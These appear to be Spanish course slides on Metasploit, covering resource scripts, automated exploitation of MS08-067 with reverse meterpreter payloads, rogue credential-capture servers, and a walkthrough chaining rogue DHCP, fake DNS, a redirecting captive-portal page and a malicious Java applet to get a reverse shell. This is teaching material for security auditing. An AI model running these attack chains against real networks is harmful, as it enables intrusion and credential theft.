10.- Automatizando las órdenes
• La idea principal es conseguir reunir el máximo detalle en el workspace de
la base de datos a la que el auditor conecte el framework. Entonces, ¿Se
puede automatizar la captura del máximo de información? Esto es la idea
de los resource scripts, cuya extensión será rc.
• Los resource scripts son tratados por MSF como templates ERB
(Embedded Ruby) al permitir la ejecución de bloques de instrucciones en
Ruby, desde los cuales se podrá interactuar con la API de Metasploit, REX.
Existen algunos rc que vienen por defecto en Metasploit en la ruta
/usr/share/metasplit-framework/scripts/resource.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes
• Con los scripts que vienen por defecto con MSF se puede realizar la
mayoría del trabajo de recopilación de información del entorno a
auditar. A continuación veremos uno de los scripts que vienen por
defecto y que es realmente interesante y útil a la hora de descubrir
servicios y de recolectar información.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Descubrimiento básico
• Vamos a entrar en detalle en la descripción del script basic_discovery. rc que se
puede encontrar en la ruta en la ruta /usr/share/metasplit-
framework/scripts/resource. Este script sirve para conseguir obtener
información sobre máquinas y servicios disponibles utilizando nmap y otros
módulos auxiliares y para protocolos smb, imap, pop, http, ftp, etcétera.
• A continuación, mediante el uso del comando cat <script.rc> I more vamos a
analizar el script. Hay que tener en cuenta que se puede personalizar en función
de las necesidades editando, simplemente, el archivo rc original mediante
algún editor de textos.
• También se puede ver en la url: https://github.com/pwnieexpress/metasploit-
framework/blob/master/scripts/resource/basic_discovery.rc
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Descubrimiento básico
• De lo primero que se puede observar en el código es la declaración de
una variable denominada ports que contiene todos los puertos que serán
analizados en busca de servicios. El auditor puede modificar el rango,
ampliando o disminuyendo el número. Un concepto muy interesante es el
datastore el cual almacena las variables que se configuran en msfconsole,
por ejemplo RHOSTS, LHOST, RPORT, etc..
• Para interactuar desde el interior del script con estas variables de MSF se
utiliza la sintaxis framework.datastore['<nombre variable>‘]. En el script
se puede observar como se hacen comparaciones mediante el uso de
condicionales if para poder verificar que antes de lanzar el script se
configuraron las variables.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Descubrimiento básico
• Para la ejecución de módulos, tras la configuración de variables, o
incluso para configurar variables desde el interior del script se
dispone de la sentencia run_single.
• Para asignar un valor a una variable de MSF, es decir no local al
script, como por ejemplo RHOSTS se utiliza run_single("setg
<variable> <valor> “). Para ejecutar una sentencia en MSF desde el
script sería similar a lo anterior run_single["db_nmap -v -n
#{nmapopts} {framework.datastore['RHOSTS‘]“}. Las variables se
especifican mediante el uso de # {variable}.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Descubrimiento básico
• Existe una función en el script que verifica si el auditor se encuentra
conectado a la base de datos, dónde se almacenará toda la
información obtenida con el script. Si no se está conectado a la base
de datos el script mostrará un mensaje por pantalla indicándolo y se
acabará la ejecución de instrucciones.
• framework.db.hosts
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Descubrimiento básico
• A continuación vamos a realizar la ejecución del script, pero antes
tenemos que establecer las variables, en este caso globales. Desde
la consola:
• >setg RHOSTS <rango-ip>
• Cargamos el script:
• >resource basic_discovery.rc
• Es muy común al principio, olvidar el establecimiento de las
variables que nos solicita el script.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Creación resource script
• Antes de crear scripts de automatización de tareas se debe disponer
de un par de cosas claras, la primera es que se debe conocer el
lenguaje de scripting Ruby y la segunda que se debe disponer de un
conocimiento medio-alto de la arquitectura y funcionamiento de
Metasploit.
• A continuación el ejemplo que se muestra es bastante sencillo e
intuitivo, pero queda reflejado el potencial y flexibilidad que
disponen los resource scripts para la automatización de tareas
comunes.
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Creación resource script
• En el ejemplo se utiliza un rc para, simplemente, automatizar el
proceso de configuración del manejador de conexiones de los
payload, es decir, exploit/multi/handler.
echo use exploit/multi/handler >> meterpreter.rc
echo set PAYLOAD windows/meterpreter/reverse_tcp >>
meterpreter.rc
echo set LHOST 192.168.0.100 >> meterpreter.rc
echo set ExitOnSession false >> meterpreter.rc
echo exploit -j -z >> meterpreter.rc
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Creación resource script
• Para lanzar este script existen distintas maneras, como por ejemplo,
en una línea de comandos ejecutar
• #msfconsole -r meterpreter.rc,
• o desde una sesión de msfconsole mediante el comando
• >resource meterpreter.rc.
• Otro ejemplo interesante es la automatización de la explotación de
una máquina, por ejemplo, mediante la explotación de MS08-067.
• echo use exploit/windows/smb/ms08 067 netapi >> exploitNetapi.rc
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes – Creación resource script
• Otro ejemplo interesante es la automatización de la explotación de
una máquina, por ejemplo, mediante la explotación de MS08-067.
• echo use exploit/windows/smb/ms08_067_netapi >>
exploitNetapi.rc
• echo set PAYLOAD windows/rneterpreter/reverse_tcp >>
exploitNetapi.rc
• echo set RHOST 192.168.0.110 >> exploitNetapi.rc
• echo set LHOST 192.168.0 . 100 >> exploitNetapi.rc
• echo exploit - j - z >> exploitNetapi.rc
Audit. Sistemas – Metasploit - Práctica
10.- Automatizando las órdenes – Creación resource script
• Crea un Resource Script que ejecute el módulo ms08_067_netapi
• Crea un Resource Script que ejecute el módulo
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
• Usa los diferentes comandos para explotarlo sobre la máquina
windows 7.
• Ejecuta el RC basic_discovery.rc y comprueba la información que
ofrece
Audit. Sistemas – Metasploit
11.- Servidores Rogue
• Metasploit dispone de unos módulos de tipo auxiliary muy
interesantes que permiten al auditor levantar un servidor, en
menos de un minuto, el cual ofrece un servicio totalmente falso. El
objetivo de este tipo de servidores es la captura de credenciales o
ejecución de código arbitrario mediante el engaño en la máquina
remota. Los engaños pueden ir desde simples redireccionamientos a
direcciones IP dónde en un puerto concreto espera el servicio
malicioso, hasta un complejo entramado de servicios, que
aparentemente realizan lo que deberían para terminar con la
explotación de la máquina de la víctima.
Audit. Sistemas – Metasploit
11.- Servidores Rogue
• La ruta dónde se aloja en el framework este tipo de módulos es
auxiliary/server/. En esta ruta se puede encontrar un directorio
capture dónde se almacenan módulos cuyo objetivo principal es la
captura de credenciales y, otros elementos de interés como las
cookies. A continuación se muestra información sobre los módulos
server/capture:
• server/capture/smb. Permite configurar un servidor para protocolo SMB con
el que se pueden obtener has hes de tipo NTLM
• server/capture/ftp. Permite configurar un servidor FTP que presente un login
pare recoger credenciales
Audit. Sistemas – Metasploit
11.- Servidores Rogue
• server/capture/http. Permite configurar un servidor HTTP para capturar
credenciales de autenticación
• server/capture/pop3. Permite configurar un servicio POP3 falso para
capturar credenciales
• server/capture/smt. Permite configurar un servicio SMTP para capturar
credenciales de autenticación
• server/capture/telnet. Permite configurar un servidor de telnet para realizar
el engaño y obtener las credenciales
Audit. Sistemas – Metasploit - Práctica
11.- Servidores Rogue
• Intenta (con los conocimientos que ya tienes ;)) lanzar un servidor
falso ftp y analiza el comportamiento.
• Analiza cómo poder explotar este ataque y para qué puede servir
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• En el siguiente ejemplo se va a realizar una prueba de concepto con
auxiliary/server/dhcp, con el que se configurará un Rogue DHCP,
auxiliary/server/fakedns, con el que se configurará un DNS un tanto
especial y exploit/multi/browserljava_signed_applet con el que se
realizará la explotación de la máquina de la víctima.
• El escenario está compuesto por una red, que podría ser una red wireless
o una red cableada, dónde el atacante configurará un rogue DHCP con el
que se buscará que los clientes obtengan una dirección IP de un rango
concreto, una dirección IP de un servidor DNS controlado por el atacante
y una dirección de puerta de enlace, que también podría ser la dirección
IP del atacante por lo que se podría monitorizar el tráfico para obtener
cookies o credenciales.
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Además se configura un servicio web dónde al realizar la conexión se
lanzará un applet de java con intenciones maliciosas. Este servicio será
referenciado por una página web que simulará un portal cautivo y que
realmente redirigirá al servicio web dónde se lanzará el applet malicioso.
• Esta página se encuentra alojada en un servidor Apache que escucha
peticiones en el puerto 80, al llegar la petición se muestra la página del
portal cautivo que poco después redirigirá a la dirección URL dónde se
encuentra configurado el servicio del applet. Cuando el usuario o víctima
acepte la ejecución del applet, realmente se estará ejecutando un payload
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• La configuración del Rogue DHCP es bastante sencilla, se carga el
módulo auxiliary/server/dhcp y se configuran algunos parámetros:
• DHCPIPEND 10.52.0.100
• DHCPIPSTART 10.52.0.50
• DNSSERVER La dirección IP donde se encuentra el DNS, por ejemplo,
máquina del atacante. 10.52.0.111
• NETMASK 255 .255.255.0
• ROUTER La dirección IP de la puerta de enlace, podría ser la máquina del
atacante para monitorizar tráfico. 10.52.0.111
• SRVHOST La dirección IP dónde se lanza el Rogue DHCP. 10.52.0.111
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Podría ser interesante agotar las direcciones IP disponibles en el
pool del DHCP original que existe en la misma red, si existiese alguno.
Llegado este punto, los clientes que se conecten a la red recibirán
direcciones IP otorgadas por el servidor DHCP falso, además de lo
más interesante, la dirección IP del servidor DNS y de la puerta de
enlace que se quiera.
• Una vez parametrizado, ejecutar desde la consola MSF:
• > run
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Es el momento de configurar el servidor DNS falso, para ello se carga
el módulo auxiliary/server/fakedns. El funcionamiento de fakedns es
sencillo, con la variable TARGETDOMAIN se configura una lista de
dominios para los que las resoluciones no serán falseadas, SRVHOST
es la variable dónde se configura la dirección IP dónde se monta el
servidor DNS falso, la del atacante en este caso (10.52.0.111). Tras
lanzar el módulo, en el ejemplo, cuando la víctima pida resolver
cualquier nombre de dominio, excepto los indicados en el bypass
(podemos poner ildefe.es), se resolverá con la dirección IP del
atacante dónde espera el servidor Apache.
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Indicar que este módulo tiene una opción muy interesante:
TARGETACTION. Mediante esta variable podemos:
• FAKE: estableciendo esta variable se falsearán todos las peticiones que vayan
a los sitios web especificado en TARGETDOMAIN.
• BYPASS: estableciendo esta variable se falsearán todos las peticiones que de
sitios web excepto las que se hayan especificado en TARGETDOMAIN.
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Comandos a parametrizar:
• > set TARGETACTION FAKE
• > set TARGETDOMAIN *.ildefe.es www.google.com
• > set TARGETHOST 10,52,0,123
• > run
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Una de las víctimas, la cual obtuvo las direcciones IP por el DHCP falso, realiza una petición a
www.ildefe.es. El servidor DNS falso resuelve esta petición devolviendo la dirección IP de la
máquina del atacante, 10.52.0.111. La máquina de la víctima, realiza la petición al atacante al
puerto 80, dónde se encuentra un archivo index.html con el siguiente código:
< !DOCTYPE HTML PUBLlC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TlTLE>Captive Portal</TlTLE>
</HEAD>
<BODY>
Captive Portal<br />
<script type="text/javascript">window.location.href=“”10.52.0.111/javachungo” </script> <'-- Arbitrary Redirect
-->
</BODY>
</HTML>
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Ahora vamos a configurar el Java que explotará la vulnerabilidad. Se
podría evitar la utilización del servidor Apache y utilizar directamente el
módulo del applet, pero es recomendable utilizar SET, social engineering
toolkit, y poder utilizar alguna página web falsa para hacer más creíble el
ataque. SET lo veremos más adelante.
• Configuración módulo applet (exploit/multi/browser/java_signed_applet):
• SRVHOST 10.52.0.111 (IPatacante)
• SRVPORT 8080 (puerto escucha servicio)
• URIPATH /javachungo
• PAYLOAD Windows/meterpreter/reverse_tcp
Audit. Sistemas – Metasploit
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• En teoría y si todo funciona, cualquier petición que no esté en el
BYPASS del fakedns, pasará al portal cautivo que le redirigirá al
applet malicioso.
• Si el usuario acepta el cuadro de diálogo del applet se produce la
ejecución del payload provocando la obtención de una sesión
inversa por parte del auditor o atacante.
Audit. Sistemas – Metasploit - Práctica
11.- Servidores Rogue – PoC DHCP, Fake DNS y Applet de Java
• Pon en marcha un sistema “FakePower” que al acceder a
pelisonline.tv te intente descargar un applet de java necesario para la
visualización de los contenidos.
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Una característica interesante de Metasploit es la flexibilidad y facilidad
de actualización del framework. Los auditores han de saber que
prácticamente a diario salen gran cantidad de vulnerabilidades conocidas.
Es por esto que el debe terner su framework lo más actualizado posible y
al día, para que en los test de intrusión sean lo más efectivos.
• Metasploit proporciona un mecanismo de actualización automático
mediante el uso del comando msfupdate. Este mecanismo conecta con los
servidores de Metasploit a través de la URL https://metasploit.com y se
realiza una consulta del estado de la base de datos local, verificando en
qué estado se encuentra y si existen nuevos exploits,payloads, encoders,
etc. Si existen actualizaciones se procede a la descarga de todas ellas.
Audit. Sistemas – Metasploit
12.- Actualización y customización
• En clase hemos experimentado problemas a la hora de actualizar el
entorno con el comando msfupdate por lo que si existiera algún
problema podemos intentar alguna de estas soluciones:
• Actualización desde el actualizador del entorno gráfico. Desde el Dashboard
de Kali lanzar el actulizados.
• Proceder a lanzar los siguientes comandos desde la consola Linux:
#cd /usr/share/metasploit-framework/
#apt-get install libsqlite3-dev
#bundle install
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Añadir exploits u otras funcionalidades a Metasploit es realmente
sencillo si se conoce su estructura. Metasploit dispone de una serie
de directorios organizados dónde se recogen los exploits, encoders,
payloads, herramientas auxiliares como pueden ser los escáneres,
etc. Para añadir un exploit que se haya descargado de Internet,
simplemente hay que añadir el fichero con extensión rb, Ruby, en la
carpeta correspondiente (exploit en este caso).
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Teniendo esto claro, el auditor puede personalizar su entorno y sus rutas
dónde encontrar sus exploits a su antojo. Por ejemplo, si el auditor quiere
una carpeta denominada MisTools que contenga todos los exploits que él
requiera, una buena práctica sería crear esta carpeta en la ruta
/usr/share/metasploit-framework/modules/exploits, de esta manera
cuando el auditor quiera acceder desde msfconsole al contenido de ese
directorio, simplemente deberá ejecutar use exploit/MisTools y elegir el
fichero que se requiera cargar o utilizar.
• Para el resto de componentes y módulos este proceso es similar y puede
ser llevado a cabo de manera análoga.
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Ahora vamos a ver un ejemplo de cómo llevar a cabo esta tarea.
Vamos a descargar un exploit del sitio web http://exploit-db.com,
que se encuentre escrito en Ruby y preparado para Metasploit.
Después, se copiará el exploit a la carpeta dónde se quiera dejar
éste y poder cargarlo con elframework.
• Podríamos buscar alguno (sección “search”) para una plataforma que
nos interese como Windows ;)
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Es recomendable cambiar el
nombre del archivo ya por defecto
se descarga con el identificador
de explit-db.
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Una vez que tenemos el fichero con extensión rb, se debe guardar en
una ruta que cuelgue de la raíz de los exploits, es decir, la ruta
/usr/share/metasploit-framework/modules/exploits. Como se ha
dicho, en esta ruta se pueden crear otros directorios o alojar el
exploit en alguna ya existente.
• Para este ejemplo se creará una nueva carpeta en la ruta anterior
cuyo nombre será MiExploit. Tras la descarga del exploit se ha
denominado flashArtelntrusion.rb al fichero que lo contiene. Este
fichero deberá ser copiado o movido a la ruta /usr/share/metasploit-
framework/modules/exploits/MiExploit, recientemente creada.
Audit. Sistemas – Metasploit
12.- Actualización y customización
• Una vez que se dispone de los nuevos exploits en las rutas, y éstos
estén preparados se debe arrancar el framework para poder
interactuar con ellos.
• Tras lanzar msfconsole se utiliza el comando use para cargar el
módulo utilizando la ruta dónde se el exploit. Según lo descrito, es
bastante sencillo e intuitivo la adición de exploits y su organización en
el framework mediante el uso de directorios.
Audit. Sistemas – Metasploit